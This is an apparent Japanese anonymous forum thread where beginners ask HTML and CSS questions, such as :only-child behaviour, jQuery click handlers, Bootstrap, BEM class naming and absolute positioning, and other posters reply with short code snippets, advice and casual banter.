ペライチのhtml+cssでいいのでPC/SPに両方対応したレスポンシブデザインで作ってみよう、
モダンなやり方だとNetlify(無料でいける)にそれをUPしてチェックしてみる、
さらに色んなブラウザでチェックするとより実際の開発業務に近い体験になるよ。
そうしてる内に、メディアクエリの使い方や、チェックしているとブラウザ間の差異→reset.cssやnormalize.cssの必要性なども体験できるはず。

363 :
レスポンシブと言えば、Bootstrap
>>356
br は、行頭にしない!

364 :
最近フリーランスがどうとかで始める人多いけど、
まあ元々ものづくりが好きじゃない人がマネだけしてもこうなるんだろうな

マナブ信者の顛末
https://twitter.com/kaiwai_watch_/status/1220216408581128192
(deleted an unsolicited ad)

365 :
ド初心者からの質問で申し訳ないのですが、
今こちらの動画を見ながら手を動かしてCSSを勉強しています。
https://www.youtube.com/watch?v=ghgNW-DcVuI&list=PLjw-30bsJNVVa4PuU...

途中までは上手くいくのですが、5:30付近のリストの中だけ色を変えるところで
リストの外の背景全体までも色が変わってしまいます。
動画内のHTMLとCSSのコードと自分が入力したコードを見比べていても誤字や抜けなどはないように思われます。

また、他サイトでのonly-childの解説を見て例に上がっているコードをコピペしてみると、私自身のブラウザでも例の通りに表示されます。
原因について、どなたかご教示いただけないでしょうか

https://i.imgur.com/LCBYFHW.png (正しい状態)
https://i.imgur.com/2fGZGXW.png (私のブラウザ上)

366 :
>>365
たぶんHTML側のタグが壊れてるんじゃないかな
閉ジタグとかが足りなくて
入れ子の階層が崩れてる状態と予想

367 :
>>365
とりあえず不具合は再現できなくてもいいから
↓に該当箇所のコードを抜粋して貼ってみて。
https://jsfiddle.net/

368 :
>>366 >>367
返信ありがとうございます。
https://jsfiddle.net/mzbowg7h/1/
こんな感じでいいでしょうか?
念のため動画内と自分で書いたコードの比較も貼っておきます。
https://i.imgur.com/95EbHbi.png
https://i.imgur.com/NrD4txU.png

369 :
>>368
ごめん、今回の場合に関しては、https://jsfiddle.net/を使わないほうが良かった。
結論として、>>365の「私のブラウザ上」の全て赤くなる状態が正しい。

下記だとセレクタを指定していないので対象は、
:only-child{
background-color: tomato;
}
html、body、ulが赤になる指定。
続く

370 :
なので、>>365のように
html、body、ulは全て1つしかない(only)ので全て赤くなる状態で正しい。
恐らくこの動画の人は、動画の中でもfirst-childの認識を間違えた瞬間あったけど、
○○-child: を親に指定するものだと勘違いしている感がある。

371 :
なぜこの動画の人や、jsfiddle.netではbodyやhtmlタグが赤にならないかというと
web上のエディターではその画面自体にbodyやhtmlタグを既に使っているから。
onlyではなくなっている状態。
というか実務では、こんな不安定な指定の仕方はまず使わないから、
あまり気にしなくていいよ。
「:only-child」
忘れてもいいくらいの指定方法だわ。

372 :
唯一のulに指定したいないら普通はこう書く。
ul:only-child{

373 :
こrで伝わったかな。
この動画は悪害になってるな・・。
まあこの会社は比較的まともな方だと思うけど。(ドットインストとかよりは)

374 :
>>369-373
表示が異なる理由まで教えていただきありがとうございます。
気にせず学習を続けていきます!

375 :
頑張ってね。
htmlに真正面から向き合って努力してる感じしたから
ちゃんと説明したくなったよ。
素直さは武器だね。

376 :
合ってるか分かりませんが
html形式のゲームをiphoneで開くにはどうしたらいいでしょうか?

377 :
コーダーまたはフロントエンドのみんなはデザインもできるの?

378 :
>>376
iOSもAndroidもhtml5に対応しているので「ゲーム側がiPhoneで対応しているように作られています」と謳ってるのであれば動作する。
動作しないなら、そう作ってはいなかったということになる。
PCブラウザで動作するけどスマホで動かないのなら、
Chrome remote desktopをPCブラウザとスマホ両方に入れて連携すれば、PC画面をスマホにミラーリングするような形で操作はできるようになる。
詳しい操作方法はスレチなので割愛

379 :
>>377
業態によって
全部自分でやる人もいるし
完全にパート分けしてフロントエンドコーディングしかやらない人もいる

その中でデザインもできるけどやらない人もいるし
コーディングしか出来ない人もいる

380 :
はじめまして。すでにある質問や初歩的なものだったらすみません。

・テキストボックスへ特定の文章を入れて送信ボタンを押すと、ページ移動せずにページ内の文章(ボックス外)を変えるもの
上記をCSSかHTMLで組みたいのですが、どういった要素やイベントを使えばいいのか、調べてもよく分かりませんでした。

テキストボックスの作り方は分かっているのですが、送信後のページへ移動せず、その場でボックス外の文章を変更し表示する方法が分かりませんでした。
よければ、どのようなものを使えば上記に沿ったものが組めるか知りたいです。宜しくお願い致します。

381 :
やりたいこと: @font-faceで斜体だけ別のフォントにしたい

@font-face {
font-family: 'MyFamily';
src: local('Meiryo');
font-style: normal;
}
@font-face {
font-family: 'MyFamily';
src: local('Yu Gothic Medium');
font-style: italic;
}

フォントは変わるが斜体にはならない。
フォントに斜体が含まれてないんだから当然といや当然なんだが、
斜体が無ければブラウザ側が勝手に合成して斜体表示にしてくれるもんだが、これを@font-faceで実現するにはどうすれば?

382 :
font-style: oblique;

383 :
>>380
javascriptじゃダメなの?

384 :
js使わずに出来るなら俺も知りたいわ

385 :
できないんじゃね?
あらかじめHTMLかCSSに記述したテキストなら可能だけど。

386 :
CSSの属性取得するやつでなんとかならんかな

387 :
>>383
すみません、スレタイトルに合わせてCSS・HTMLと書いてしまいました。
Javascriptでも問題ないです。スレチでしたら取り下げます

文章は定型文を表示したいので、表示する文章は事前にHTMLかCSSで記述したテキストになります。

388 :
>>387
ユーザーが入力したテキストをページ内の要素に対して適用させるという行為が動的なモノであるので、
それを実現させるならJavaScriptを使うべきだね。

JavaScriptのフレームワークであるVue.jsならこんな感じで簡単にできるよ。
https://jp.vuejs.org/v2/guide/forms.html
フォームを送信する必要もなくて入力確定したら文字が反映される。

389 :
>>387
あぁすまん、少し勘違いしてた。
それは送信入力フォームでバリデーションをしたいわけだね。

基本的なことはここに書いてあると思うけども
https://www.casleyconsulting.co.jp/blog/engineer/220/

簡単なバリデーションならhtml5とjsを使ってやっていくことになるんだけど、
1つ大事なことがあって入力項目の確認をクライアント側(ユーザーのブラウザ上)でやるのは
セキュリティ的にとても脆弱なことなので、基本的にサーバーサイド(PHP/Ruby側)で処理する時にバリデーションをやるのが大大大前提で、
ユーザビリティ向上の為にブラウザ側で丁寧に「○○文字以上入力してください」とかの定型文を出したりするようにしてね。

390 :
>font-style: oblique;
obliqueでも同じことだろ
何を勘違いしているんだ?

391 :
…で?

392 :
…も?

393 :
いかがでしたか?

394 :
>>381
無理

395 :
@font-faceだけじゃ無理だな
https://jsfiddle.net/rxvyk6s7/

396 :
>>380
HTML, JavaScript のjQuery で、こう書けば、
ボタンを押せば、abc が「あいう」に変わる

詳しくは、JavaScript のスレで聞いてください!

<button id="btn_1">押して</button>
<div id="div_1">abc</div>

$( function ( ) {
$('#btn_1').on('click', function() {
$('#div_1').text( "あいう" )
});
} );

397 :
>>388,389,396
細かくお教えくださりありがとうございます。
javascriptはまだ殆ど調べていなかったので、質問前に一度自力で調べ直してみます

398 :
JavaScript のjQuery のイベント・イベントハンドラー

$('#btn_1').on('click', function( ) {
$('#div_1').text( "あいう" )
});

id がbtn_1 の要素の、click イベントを拾う。
クリックされたときに呼び出される、callback 関数を、function( ) { 処理 } に書く

つまり、クリックされたら、
idがdiv_1 の要素のテキスト部分に「あいう」を設定する

399 :
要件違くね?
>>380

例えば、
合言葉は?

入力欄Aに「あいう」を入力 → 回答するボタン押す→ 不正解なので、テキストAは「お前は誰?」のまま

入力欄Aに「おれおれ」を入力 → 回答するボタン押す→ 正解なので、テキストAは「ようこそ」に変化する

って事だろ?

400 :
ifを使った分岐するだけだな。

401 :
要件がおおざっぱすぎてコレという例を出しにくい状態ではある

402 :
誰かも書いてたけど、要するにバリデーションだね。
回答がAなら処理1
回答がA意外なら何もしない

正誤判断して分岐処理するだけ。

403 :
なるほど

404 :
ああ?

405 :
いえば?

406 :
上祐?

407 :
inline-blockで出来る隙間対策のやつ、買った書籍にはfont-size:0を使えとあるんだけど、今ってletter-spacingのが主流?

408 :
inline-blockで横並びさせるのをやめればいい
display:flexを使え

409 :
独学で、html、css、javascript、jqueryは一通りやって次にwebサイトの模写をしようと思っています。
bootstrap4というcssのフレームワークがあると知ったんですがこれも使えるようになったほうがいいですか?

410 :
>>409
webのエンジニア寄り(プログラマ系)になるなら使えるようになった方がいい。
デザイナー寄りならスクラッチでしかデザインしないから不要。

411 :
>>406
何歳?

412 :
>>409
bootstrapはjQueryと同じで
ただのCSSの便利セットだから
そんな仰々しく構えんでも見りゃすぐわかるよ

413 :
>>409
他のサイトの模写なんかよりもまずは何か1つ自分でオリジナルのサイト構築して完成させよう
その方がどういう理屈でブラウザに表示されてるのかの理解も早いと思う
あとフレームワークってのはテンプレ集だからどういうhtmlやcssが分かってる人ならすぐ使える

414 :
>>413
横だけどそのオリジナルサイトのデザインが出来ない
デザインもらってコーディングは出来る
だから模写になっちゃう

415 :
あるフォントのOpenType機能の何が使えるかを調べるにはどうすればいいんだい?

416 :
>>414
出来ないってどう言うこっちゃ
何か信条や宗教的な理由とか?

417 :
>>415
フロントエンドでは流石に
拡張子がotfかどうか見るくらいしか出来ないだろうなあ

418 :
>>415
仮にフォントのメーカー側が使えると定義してても、
各ブラウザ(バージョンやOS含め)が対応してなきゃ意味ないわけだから、
実際のブラウザで1つ1つ試していくしかないんじゃない。

adobeだとこんなのある
https://helpx.adobe.com/jp/fonts/using/use-open-type-features.html

419 :
>>416
デザイン能力がない!
他社サイトを見て、この上部のデザインいいなーと思ってそのデザインパクったり、色変えたりしてコーディングならできる
それかデザイナーにデザインしてもらったやつを元にコーディング

420 :
てか、斜体が無いフォントを無理くり斜体にするなら
.italic{
font-family: Meiryo, "メイリオ", sans-serif;
-webkit-transform: skewX(-15deg);
-moz-transform: skewX(-15deg);
-o-transform: skewX(-15deg);
transform: skewX(-15deg);
-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=1, M12=-0.26794919243112214, M21=0, M22=1, SizingMethod='auto expand')";
}
こういうtransformとか使って1つの物体として捻じ曲げたりするしか方法ないかと。

421 :
>>419
考えが潔くていいと思う。

人を頼る、人を使う、って事ができるようになるし
素人に多いけど、見た目のデザインだけで判断する人から不毛な評価も受けない

422 :
人を頼るスキルって大事。
自分ではできないと考えるから、信頼おける仲間や外注さんを捕まえられるようになる
すると自然とビジネスの規模も大きくなってく。
会社見てもわかる通り、経理、法務、営業、人事、とそれぞれのプロを囲うのが正解。

423 :
練習用のデザインカンプがあるといいのかな

424 :
>>421
でも今の会社に入る前に面接で、そこのプロジェクトマネージャーのフロントエンドの人にポートフォリオ見せたらデザインだけで判断されて落とされたよ
今の会社は書ければいいわってとこだったから良かった
まぁまだ入って間もないからこれから分からないけどね
もうちょい自分でかっこいいサイト作れるようになれるように勉強中

425 :
>>423
ぜひ欲しい
サイト自体がもう出来ちゃってたら、コードパクって作ったんだろ!って思われそうだし
デザインだけして貰えば作れると思う
ついでに言うと、webデザインは出来ないんだけど学生時代チラシのデザインはしていた経験からPhotoshopとillustratorは使えるので、それらで貰えると早く作れるため尚嬉しい
XDは勉強中
※あくまで願望です

426 :
>>424
それは見せ方の問題じゃない?
自分がフロントエンドだったら、普段通り自分でデザインしたサイトではなく
デザイナーが作成したのをコーディングしたサイトや部分を見せるかな。
間違ってもURLだけ貼っつけて説明なしにぶん投げとくとかはダメ。
例えば、拡張性や更新のしやすさ、軽さ、検索順位、正確さ、スピード、配慮した事など

427 :
何も指示しなくてもマウスオンしたらテキストにアンダーライン付くとか
画像が不透明度変わるとか、
テキストメインのページなら、スマホ用にデザイン作らなくても、コーディングベースで対応してくれるとか
そういう応用力と機転効く人が実際の現場ではモテるんだよ

428 :
chromeの下に出てくるダウンロードのバーについて、
あいつのせいでfloatのレイアウトが崩れるんですけどどうすればよいですか

429 :
在宅ワークの仕事みたら、コーディングだけでなくデザインも一緒に頼まれるの多いね

430 :
普段から四六時中デザインの事を考えてるヤツに
デザインも流行にも興味もない奴が勝てるの?

431 :
発注者に言ってやれ

432 :
皆ありがとう!
bootstrap触ってみたけど、めっちゃ便利で笑った
作るものにもよるかもしれないけど、これ使うとhtmlファイル内でほぼコード完結しちゃうの?

433 :
あ”あ”?

434 :
>>428
どう崩れるの?
とりあえず↓にコードを貼ってみて
https://jsfiddle.net/

435 :
>>432
Bootstrap は、JavaScript のjQuery を読み込んで、

スライダーなど、動的なものを作っている

436 :
動的の意味を理解してなさそう

437 :
>>432
便利だけど例えるなら量産型用のフレームワークだな
細かい注文が来てカスタマイズをするとなるとBootstrapでは都合が悪いとこもある

438 :
bootstrapはプロトタイプとか管理画面作る時くっそ楽
今ならtailwindとかの方がフロントの人には人気あるかも

439 :
tableの列毎に小数点の位置を揃えたいんだけどjsなしでは無理?
調べたら下のが出てきたけどhtml5では無効みたい
text-align: "." center

440 :
りーむーだろな

441 :
line-break: strictを使う弊害って何かありますか?

442 :
ああ?

443 :
header.phpを使って共通ページの管理を簡単にする方法なのですが、基本的な考えとして
header.phpに本来ヘッダー部分のコードを書いて、index側にそれを参照…という考え方でよいのでしょうか?

444 :
>>443
>index側にそれを参照

これがいまいち、何を言いたいのかわからなかったけど

1つのパーツを、複数のページで共有すれば
同じこといちいち書かなくて済むので便利だね
ってことだよ

445 :
>>443
画像ファイルと同じように考えればいいよ

ページが10個あっても
ヘッダで使う同じ画像は
個別に10個用意せずに、同じもの1つを使い回すでしょ

それとおんなじ

446 :
twitterみたいなSNSっぽいものを勉強で作っています
twitterでは個別のツイートのページが/status/0001みたいな感じのURLになってますがこれってどうやってるんでしょうか?
ツイート一件一件に対してhtmlファイルを生成してるんですか?
ちなみに自分で考えたのは?post=0001みたいなGETメソッドでphpに渡して〜みたいな感じなのですが、それはまずいんでしょうか?

447 :
Ruby on Rails は、MVC だけど、View には、全体の枠となる、
application.html.erb というレイアウト・テンプレートがある
ERB は、PHP と同じ。
あらゆるファイルに、Rubyの式を、Embedded・埋め込めるもの
<div><%= Rubyの式 %></div>
全体の枠に、部分テンプレートを読み込んでいく
ヘッダー用なら、_header.html.erb、
サイドバー用なら、_sidebar.html.erb
SASS のパーシャルと同じ。
部分ごとに作っておいて、全部のページで、使い回す

448 :
>>446
>ツイート一件一件に対して、htmlファイルを生成してるんですか?
たぶん、作ってないのでは?
get で、その番号をキーにして、データベースに入っている文章を取ってきて、
お決まりのテンプレートに当てはめて表示するか、
または、Ajax で、文章の部分だけを動的に変えるとか

449 :
>>448
ありがとうございます。
やはりGETメソッドなのでしょうか。
?〇〇=△△みたいな形式じゃなくてもGETメソッドで送る方法があるんですか?

450 :
>>446
あれ作るならバックエンド側のフレームワーク使ったほうがいいよ
データベースも使うしルーティングも面倒臭い
そしてまず、あれ作る方法を理解したいならバックエンド側を理解した方が早いし、理解しなきゃ無理だし、つまりここじゃなくて別のとこで質問した方がいい
Twitterみたいなの作るにはphpもだけどデータベース理解してなきゃ無理だと思うわ

あの/status/番号のとこはおそらくツイート投稿時に発行した番号で、それでDBで管理されてる
ユーザーからアクセスされたらDBに情報取りにいって、そっからテンプレート(html)の各部分に当てはめてレンダリングしてると思うよ

451 :
>>450
ありがとうございます。
それは理解してるしmysqlも使えます。
知りたいのは、{/status/番号}の部分が{?○○=△△}って形式じゃないのにどうやってGETで送っているのかというところです。
または例えば末尾に?status=番号みたいな感じでGETでphp側に送るような方法では駄目なんでしょうか?

452 :
Ruby on Rails では、例えば、
show アクションで、
パスが、/members/123 で、GET とかある。
123 は会員番号
Railsでは直接、ID っぽい数字などをパスにする。
Railsは特殊なのかな?
フレームワークのルーティングのやり方によるのだろう

453 :
>>451
スレチだけど、そこらへんサーバー変数で取得できるから、自分で加工して使うといいよ
例えば
https://unko.net/status/112233
にアクセスすると
$_SERVER['REQUEST_URI']
とかに、/status/112233 が入ってると思う
php_info()や、print_r( $_SERVER ) とかでみてみると、いろんな情報が見られるから、やってみるといいよ

454 :
>>453
ありがとうございます。
完全にphpの話なんですね。スレチすみません。
でも助かりました。

455 :
>>443
そう。
descriptionやtitleタグのように個別に情報が異なる部分は変数にする。
個別に読み込む外部cssファイルがある場合などもそう。

456 :
>>454
言い忘れちゃったけど、そのままだと
/status/112233
を探しに行っちゃうから、ウェブサーバーのrewrite機能を使ってリダイレクト設定してね。
.htaccessとかでできるので。
調べてみて下さいな。

457 :
やさしいんですね

458 :
一見phpっぽくないurlをどうやってphpに投げるかはhttpサーバーによっていろいろやり方があるのでまずはそっちから確認ね

459 :
は?

460 :
パスインフォって呼ぶんやで

461 :
bootstrapで作ったナビバーの文字位置を下げる方法ありますでしょうか?
右側のロゴ画像の縦位置と同じ位置にナビバーメニューの文字がいて、下に下げたいのですが…。

462 :
どの面接いってもバックエンドもやるフルスタックになってほしいって言われんだけど
バックエンドが嫌になったからフロントエンド行きたいのに!
今いるフロントエンドの奴らに何故バックエンドをやらせればよくない?って思うんだけど
フロントの人達に何故やらせようとしないのかな

463 :
>>451
下の人もいってるけど.htaccessで/xxx/だけでphpファイルの方を呼べる
デフォルトではindex.htmlが呼ばれるけどそれを.htaccessでindex.phpとかにできる
だからバックエンドを理解してないと、っていうつもりで書いた
言葉不足でごめん

464 :
>>462
社長は営業もできるが、営業マンには社長業はできないみたいな?

465 :
セレクタ指定について
深く考えずに table.data みたいに要素セレクタ基準に指定してたけど、
table.data
.table-data
どっちがいいかね?
後者ならクラスセレクタ単一になるが、
HTMLでの指定が table class="table-data" となって冗長になるのが気になる。

466 :
初心者なのですが、bootstrapを使っての縦長サイトの作り方が分かりません…。
テンプレートはカラムがたくさんあったりと逆に参考にならず…。
ただ縦に要素をどんどんと置いていきたいのですが、参考になるサイトやテンプレートないでしょうか?宜しくお願い致します。

467 :
>>465
後者。
クラス名に「table-data」ってナンセンス。
そのデータがtableじゃないほうがいいって後でなったらどうすんの?
そんなのしょっちゅうあるよ。
HTMLもcssも未完成だしデバイスもコーディング流行も変化するし、サイトもクライアントの事情だって変化する。
汎用性を意識した名前にする事

468 :
>>466
こういうLPみたいなやつか?
https://www.nip-col.jp/lp/cola100/lic99_h1/

こんなのは商品の特性や構成ありきで
スクラッチのデザインから入るんだからテンプレなんて探すよりソースみて参考にしたほうが早いだろ。

469 :
>>466
話しを見る限り、Bootstrapは一旦置いといてhtmlの基礎(+スマホ対応ならメディアクエリも)学んだほうがいいと思う。
「ただ縦に要素をどんどんと置いていきたい」←これ自体がhtmlの基礎を知っていればできるし知らなければできないので。
その状態でBootstrap使っても余計複雑になって理解できないままの作業になるよ。
縦に並べるだけの話しなら超基礎の基礎でしょう

470 :
Bootstrapそのまま使って
「このサイト、僕が一人で全部作ったんです」なんて言っても
素人はわからんだろうから使いたい気持ちはわかる

471 :
>>467
後から.css見返した時に何の要素にクラス適用してるか分かるようにしたいんで
"table"をどこかに含めるのは俺にとって絶対条件。

tableじゃないってなったらcss側も変更よ。
あくまでも文書構造はHTML側が決める。

472 :
まぁその2つなら.table-dataにしたほうがいいね。
html構造が改修と共に変わることは日常茶飯事なので。

BEM(cssルールみたいなもの)を知ると良いかもね
https://qiita.com/ko8@github/items/d237318b76f6ffa7f61d
https://qiita.com/Takuan_Oishii/items/0f0d2c5dc33a9b2d9cb1

473 :
ベム嫌い

474 :
>>466
縦に要素をどんどん置いていくのは迷惑だから、皆、Bootstrap で列数を切り替える

横長画面なら、3列表示して、
縦長画面なら、1列表示するとか

横幅によって切り替える

475 :
>>471
その考えは一般的じゃないから、大規模案件で複数人でコーディングする時や
お客さん側にコーディングする人がいたらくろうするぜ

476 :
>>474
>>468のLPみたいなコーディング依頼きてもBootstrapで頑張るの?

477 :
Web業界頭わりー奴多いから業界の一般的(笑)なんてクソ喰らえだがね。
OOCSSとかいう冷静に考えりゃありえんクソ設計を有り難く採用しちまうし、
BEMは設計思想はともかくアンダーバー2つとかいらんだろそれっていう。
馬鹿みたいに子要素全てにクラス割り振ってクラス地獄だしよ。

478 :
>>477
今後も小規模サイトや静的しかやる予定ないならオレオレルールでもまあいいんじゃない。

Bootstrapは好きじゃないが、汎用クラスの考え方は参考になる。
動的サイトとか作ってると、あるコンテンツがページAではliタグでページBでは同じ部分がulになるとか
ある状態ではliタグだが、状態変化するとdivになるとか普通にあるから
タグを匂わすクラス名もタグありきの階層指定も全部思想としてはダメ。

479 :
>>477
ブロック名やエレメント名にアンダースコア使いたいからだろ

480 :
>Web業界頭わりー奴多いから業界の一般的(笑)なんてクソ喰らえだがね。
扱っているものは、言語なんだから一般的に合わせる、グローバル化に協力しない方が頭悪いんだよ。
例えるなら、
日本語の標準語ってありえないわ、糞くらえ
俺が作ったオレオレ郡弁しか使わないから。
れksっちょぱ、そぬいkし? ぬあえてますひべ。

まあ、つまりぬあるしかえへてって事だ。

481 :
アンダースコアをも自前や二つ繋げると死ぬ病なのでBEMは使えないのだ
つーかBEM考えたやつセンスないだろ

482 :
There are only two hard things in Computer Science: cache invalidation and naming things.
? PHIL KARLTON
そりゃ1人でシコシコWebページ作ってりゃ規約もルールも必要ないわな。
頭の数だけ「命名規則の常識」も異なるわけだから何かしらの規約で縛ることによって無駄な議論を無くすだけの話し。

483 :
>>482
>>481じゃないけど、そういうことじゃないよ
BEMが実用に対して汎用的すぎるんだよ。
「名前はかぶらなければいい」これさえ満たえばいいのよ
この時「絶対にかぶらない」レベルか「まあかぶらないでしょ?」レベルの
どちらかにするかという話
大きな会社で複数のチームがそれぞれ開発していて、
それらを一つのページに統合する。となればBEMぐらいが必要だろうけど、
せいぜい一つのチームでかぶらなければいい程度であれば、
prefix-hogehoge 程度で十分なのよ。
prefix-部分がかぶること困るけど、まあかぶらないでしょ?
この程度で十分なプロジェクトが大半なんだよ。

484 :
>>483
君は正しい
俺もそう思うよ、俺はね。
ただしAさんは知らんし、Bさんがそう思うかは知らん。君の次の担当者がそう思うかも知らん。
改修でチームが増えた変わったで入れ替わった人がそう思うかも知らん。
君の思想が100%きちんと受け継がれれば問題はその後も起きないだろうしね。

485 :
>>484
マニュアルぐらい残そうよw

486 :
みんながみんな綺麗なマニュアルを全案件残してくれたらいいね


っていう嫌味

487 :
>>483
まぁ実際にかぶることは少ないだろうけど、そんな懸念を残してまで
アンダースコア2つって毛嫌いするものなの?

488 :
話それてるけど
.table-daraみたいなクラス名はナシって話だったろw
極端な話、こんなのもありって事になる
.h3-midashi-midori
後から見出しのレベルがh3からh4に変わる事だてあるのに

489 :
BEM は、block__element--modifier で、全員の考え方を統一しているから、良い

Block => でかい括り
Element => でかい括りの中にいる要素
Modifier => 上記2つの変化球

もし、会社でこれを統一してなかったら、大変!
各個人の癖・作り方を、分析・習得するまでが大変

この人の書き方の癖は、どうたらこうたらとか、時間の大部分が癖の話になるw
10年間、癖の分析していても、資格の1つも取れないから、無駄w

490 :
議論するまでもなくなるからそこがメリットなんだよな
ESlintだのPrettierも全く同じ

491 :
>>471が袋叩きやんけw

492 :
>>489
preifix-name

これだけで十分でしょ?

493 :
例えば、Block が商品説明の時に、

Element の内、header にはタイトルを入れて、
その他の要素は、名前を付けて、

Modifier で、Blockの色違いとか

headerじゃなくて、title にすれば? と聞くと、
当社では、上の方にある見出しは、headerで統一していますとか

494 :
BEMは要素名が長くなる上に検索しにくくなるので嫌どす

495 :
BEM以外にも色々あるんだから好きなのにしなよ

496 :
BEM は長くなるから、同じ名前にならないから良い

短いと、同じ名前になってしまって、バグってしまう。
各コンポーネントで、異なる名前にするための、管理コストが高い

497 :
scoped cssで解決
このスレ的にはよくわからない人が大半だろうけど

498 :
>>489
PMBOKを勉強するとああなるほどと理解できるのでおすすめ

499 :
https://prettier.io/docs/en/why-prettier.html
このページ見た方がいいわ、アホには理解できなかもしれんが。
とあるコードフォーマッターの話しだけど言いたいことはそうじゃなくて汎用的な話し。

500 :
>>497
偉い人きたー

501 :
>>489
バーカ

502 :
バーカって小学生じゃあるまいし

503 :
リンクを張ってある文字の周りにボーダーを付けてボタン風にしました。
その場合、文字はクリック出来ますが、ボタン部分をクリックしても反応しません。
それを反応させる事はできますか?つまり本来のボタンと同じ挙動にしたい。

504 :
出来るに決まってますが
まさか回答者に1からソース書かせて
そこはじつはこういう条件がありますって
後から情報だしてめんどくさい感じにしたいんですか?

505 :
優しくないなあ
>>503
たぶんdisplayがinlineのままなんじゃね?
inline-blockかblocにしてみ

506 :
aではなくそれを囲ってる要素にスタイル当ててる予感

507 :
要領の欠けた質問だという指摘は紛れもない優しさだわ
さらなる混乱を招きかねない当てずっぽうのエスパーの方が優しさに欠ける

508 :
フーン

509 :
>>505
だめでした

>>506
どういうことですか

510 :
>>509
<div class=“ほげほげ”>
 <a href=“URL“>リンク</a>
</div>
ほげほげにスタイルをつけてる可能性

511 :
そういう時はaタグに適当なクラス付けて
display:block;
width:100%;
height:100%;
にすりゃいいよ。
あとはaタグを囲う要素側で大きさや見た目の調整するだけ。

512 :
>>510
その通りでした。
divを取り除くのは困難なので、divの場合でも
クリックに反応するようにできますか?

513 :
>>511が言ってるようにaタグをブロック要素にして幅と高さを100%にすりゃいいだろ
そしたら囲ってるdivいっぱいに広がるだろが
というかdivいらんがな
a自体をblockなりinline-blockにしてボーダーなりスタイルつけりゃいいだけだと思うが

514 :
質問があります。
インデントやマージン、文字間を調整する際。
スペースは使わずcssを使うのが常識と言われてますが…

それを明言している信頼できる機関はありますでしょうか?

515 :
要素自身はposition:absoluteでありながらも
内包する子要素に対してはposition:relativeな親でありたい場合
つまり、日本の中で私は左翼なんだけど親しか見えない子供としては
親よりは自分は右翼でありたい的な・・?
position:absoluteでありながらもposition:relativeでいたい場合ってどう書けばよいですか?

516 :
>>514
whatwg

517 :
>>513
囲いはdivじゃないといけないという固定概念があるんじゃね?w

518 :
>>516
ありがとうございます!調べてみます。
社内で「cssとか不要!全角スペースでデザイン調整させてくれ!」
という声が高まってきている…阻止したいので材料を1つでも多く集めなくては(汗

519 :
早く答えろやチンカス共

520 :
うん

521 :
うん・・??
えーっと、うんってどういう事かなーーー?
僕は早く欲しくてイライラしてんのにおちょくってるのかなーー??
どう書けばよいですかにたして うん っておかしいよね?ね?ねーーーってばあああああ

522 :
誤爆しました

523 :
>>513
君は賢いな

524 :
>>518
なにその地獄みたいな職場

525 :
>>513
もう一つ教えてくれよ。
aの見栄えはボタン風に出来たのだが、クリックすると
凹む本物のボタンのようにする事は出来る?

526 :
OS ネイティブ風のCSS テンプレートを使えば?

知らないけど、PhotonKit, Monaca のOnsen UI とか?

527 :
>>525
:active

528 :
>>518
全角スペースの幅なんてフォントによって変わるじゃん

529 :
>>525
出来るよ

530 :
>>527
君は賢いな。
金の斧を授けよう

531 :
なんで俺様のファッキンcss
>>515クエスチョンをユー達はスルースルノ
答えられないファッキンしかしないの?

532 :
スルーで >>ALL

533 :
>>531
子にとっては親がabsoluteでもrelativeでもfixedでも関係なかろう
staticであるか否かだけが問題なんだから

534 :
>>531
こういうのを書いてて
<div style="position:relative">
<div style="position:absolute">←これをrelativeにしたいってことか?
<div style="position:absolute"></div>
</div>
</div>

アホ?

535 :
>>533
関係あるでしょ。
直親を基準に位置を決めるんだから、直親自身も基準にならないと。
https://dotup.org/uploda/dotup.org2055522.png
>>534
はいアホと言い切るなら
具合的なソースで教えてください。
https://dotup.org/uploda/dotup.org2055522.png

536 :
>>535
アホ?
<div style="position:relative; width:500px; height:300px; background:black; margin-top:100px; margin-left:100px;">
<div style="position:absolute; top:-50; left:-50; width:200px; height:100px; background:blue;;">
<div style="position:absolute; bottom:0; right:0; width:75px; height:25px; background:red"></div>
</div>
<div style="position:absolute; top:150; left:75; width:200px; height:100px; background:blue;;">
<div style="position:absolute; top:0; right:0; width:75px; height:25px; background:red"></div>
<div style="position:absolute; bottom:25; left:25; width:75px; height:25px; background:yellow">アホ?</div>
</div>
<div style="position:absolute; bottom:-50; right:-50; width:200px; height:100px; background:blue;;">
<div style="position:absolute; bottom:0; left:0; width:75px; height:25px; background:red"></div>
</div>
</div>

537 :
>>536
ありがと
何か解釈を間違ってたみたい
直親がabsoluteでも子は直親を基準に絶対配置するのか。
あれ?でも子が本来のrelative(親の親)を基準にしたい場合どうすんだこれ? まあいいか

538 :
質問する前に自分で書いて挙動を調べてみろって話だ

539 :
>>537
親の扶養を離れて
おじいちゃんの養子になればいんじゃね

540 :
基準っつっても親要素の高さや幅の分だけ基準の位置が変化するんだから
その分だけtop、left、right、bottomで足し引きすりゃいいだけだろ
分かりやすくしたければcalcとかvarとか使えばいい

541 :
優しくね!

542 :
おすすめの入門書とかまとめてほしい
でてる本多すぎだろ

543 :
HTML5&CSSタグ辞典一冊ありゃいいだろ
世に出てる本はこれを薄めただけのクソ本だし

544 :
入門書言ってるんだからその薄めたやつから入らないとわからんでしょ

545 :
>>544
言ってることは一理ある

546 :
スマホ用の狭い幅で折り返したテキストの幅を決めるにはどうすればいいのでしょうか
line-heightは効くのですが、Pタグで囲っている改行とは別の幅にしたいです。
折り返して改行してしまったときの文字幅と
Pタグで分けた部分の改行の文字幅を変えたいです。
やり方ないでしょうか。お願いします。

547 :
幅というかline-heightとか言ってるから高さのこと言ってんのかな
前者だったら単にwidthを指定すればその幅で勝手に折り返すし
pcファーストでcss書いてるみたいのようだから
メディアクエリでmax-width:768pxとでもしてその中の
pにmargin-bottomとかpadding-bottom:?pxとでも書けばいいんじゃね

548 :
ああ?

549 :
css selectorでclass指定と nth-child同時につかえないの?

550 :
使えるけど何番目のclassという使い方はできないよ
nth-of-typeもまたしかり

551 :
.class書くいみないって事ですかね

552 :
作ったページの真ん中を図る方法ないですかね…
chromeの拡張にもVSCODEの拡張にも無さそうだしどうにかできないものか

553 :
ページの真ん中?
ざっくりしすぎてて分からん
目的は何?

554 :
画面の中央?jsでclientwidthとclientheight取って2で割れば?

555 :
単に自分で調べたいだけならデベロッパーツールでhtmlタグ選択して出てきたボックスモデルの
縦横幅を2で割ればいいんじゃね

556 :
ガタガタうるせーんだよ!

557 :
優しくね!

558 :
>>537
position: absoluteな要素の位置決めの
起点となる要素のことをoffset parentって言う
offset parentは、順に親要素を辿っていって
最初に現れる、positionがstaticでない要素になる
